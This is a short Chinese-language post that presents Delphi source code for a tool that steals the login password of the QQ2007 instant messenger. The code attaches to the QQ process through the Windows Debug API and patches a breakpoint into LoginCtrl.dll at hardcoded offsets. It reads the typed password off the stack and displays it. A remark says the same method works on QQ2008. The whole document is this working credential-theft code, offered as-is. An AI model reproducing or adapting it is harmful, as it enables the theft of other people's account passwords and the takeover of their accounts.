随手写写的代码.这是上年的代码.2008版同样可以在ESP+24读取密码.只不过下断位置不同罢了.
{*******************************************************}
{ }
{ 利用Debug Api 获得QQ2007密码 }
{ 只支持QQ2007版本为7.1.576.1763或7.0.431.1723 }
{ 版权所有 (C) 2008 Open[x.g.c] }
{ }
{*******************************************************}
unit UnIT1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls,psapi,StrUtils;
type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
const
Code :DWORD = $CC;
JCode :DWORD =$8D;
implementation
{$R *.dfm}
var
ProcessID: DWORD;
function HexToInt(HexStr: string): Int64;
var
RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = ’H’ then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr[i] in [’0’..’9’] then
RetVar := RetVar + (byte(HexStr[i]) - 48)
else
if HexStr[i] in [’A’..’F’] then
RetVar := RetVar + (byte(HexStr[i]) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;
function GetMem(nOK :THANDLE;Addr:DWORD;len:integer=0):string;
const FindCount=100;
var
buf1:array[0..FindCount] of pchar ;
OK :BOOL;
nSize: DWORD;
lpNumberOfBytesRead:cardinal;
res,tmp:string;
s:array[0..FindCount] of string;
i:integer;
begin
if len<>0 then begin
nSize:=len ;
buf1[0]:=AllocMem(nSize);
OK :=ReadProcessMemory(nOK,Pointer(addr),buf1[0],nSize,lpNumberOfBytesRead);
if(OK or (nSize<>lpNumberOfBytesRead)) then begin
s[0]:=’’;
for i :=0 to nSize-1 do begin
s[0] := s[0] + format(’%.2X’,[ord(buf1[0][i])]);
end;
end;
FreeMem(buf1[0], nSize);
tmp:=s[0];
i:=1;
res:=’’;
while i<length(tmp) do begin
res:=res+chr(HexToInt(copy(tmp,i,2)));
inc(i,2);
end;
result:=res;
exIT;
end;
end;
procedure NewProcess;
var
I: Integer;
Count: DWORD;
ModHandles: array[0..$3FFF - 1] of DWORD;
ModInf TModuleInfo;
ModName: array[0..MAX_PATH] of char;
Num : Cardinal;
Rc,ok :Boolean;
DebugD: DEBUG_EVENT;
Context: _CONTEXT;
base: Pointer;
ProcHand : THandle;
ThreadHandle :THandle;
EAX : string;
begin
ProcHand := OpenProcess(PROCESS_ALL_ACCESS,False,ProcessID);
if ProcHand <> 0 then
try
EnumProcessModules(ProcHand,@ModHandles,SizeOf(ModHandles),Count);
for I :=0 to (Count div SizeOf(DWORD)) - 1 do
if (GetModuleFileNameEx(ProcHand,ModHandles[i],ModName,SizeOf(ModName)) > 0) and GetModuleInformation(ProcHand,
ModHandles[i],@ModInfo,SizeOf(ModInfo)) and (RightStr(UpperCase(ModName),13)= ’LOGINCTRL.DLL’) then
begin
if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $22C3A then
base := Pointer(DWord(ModInfo.lpBaseOfDll)+$15C90);
if DWord(ModInfo.EntryPoint) - Dword(ModInfo.lpBaseOfDll) = $2043A then
base := Pointer(DWord(ModInfo.lpBaseOfDll)+$148A3);
ok := WrITeProcessMemory(ProcHand,base,@Code,1,Num);
if not ok then ExIT;
if not DebugActiveProcess(ProcessID) then ExIT;
Rc := True;
while WaitForDebugEvent(DebugD, INFINITE) do
begin
case DebugD.dwDebugEventCode of
EXIT_PROCESS_DEBUG_EVENT:
begin
Form1.Label1.Caption := ’被调试进程中止’;
Break;
end;
CREATE_PROCESS_DEBUG_EVENT:
begin
ThreadHandle := DebugD.CreateProcessInfo.hThread;
Form1.Label1.Caption := ’请输入密码点登录’;
end;
EXCEPTION_DEBUG_EVENT:
begin
case DebugD.Exception.ExceptionRecord.ExceptionCode of
EXCEPTION_BREAKPOINT:
begin
if base = DebugD.Exception.ExceptionRecord.ExceptionAddress then
begin
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThreadHandle, Context);
EAX := Trim(GetMem(ProcHand,Context.Esp + $24,20));
Form1.Label1.Caption := ’QQ密码:’ + EAX ;
Rc := WrITeProcessMemory(ProcHand,Pointer(dword(base)),@JCode,1,Num);
Context.Eip := dword(base);
SetThreadContext(ThreadHandle, Context);
end;
end;
end;
end;
end;
if Rc then
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId,DBG_CONTINUE)
else
ContinueDebugEvent(DebugD.dwProcessId, DebugD.dwThreadId, DBG_EXCEPTION_NOT_HANDLED);
end;
CloseHandle(ThreadHandle);
end;
finally
CloseHandle(ProcHand);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
h: HWND;
ThreadID: THandle;
begin
h := FindWindow(nil,’QQ用户登录’);
if h = 0 then
begin
Form1.Label1.Caption := ’没有找到QQ登录框’ ;
ExIT;
end;
GetWindowThreadProcessId(h,ProcessID) ;
CreateThread(nil, 0, @NewProcess, nil, 0, ThreadID) ;
end;
end.
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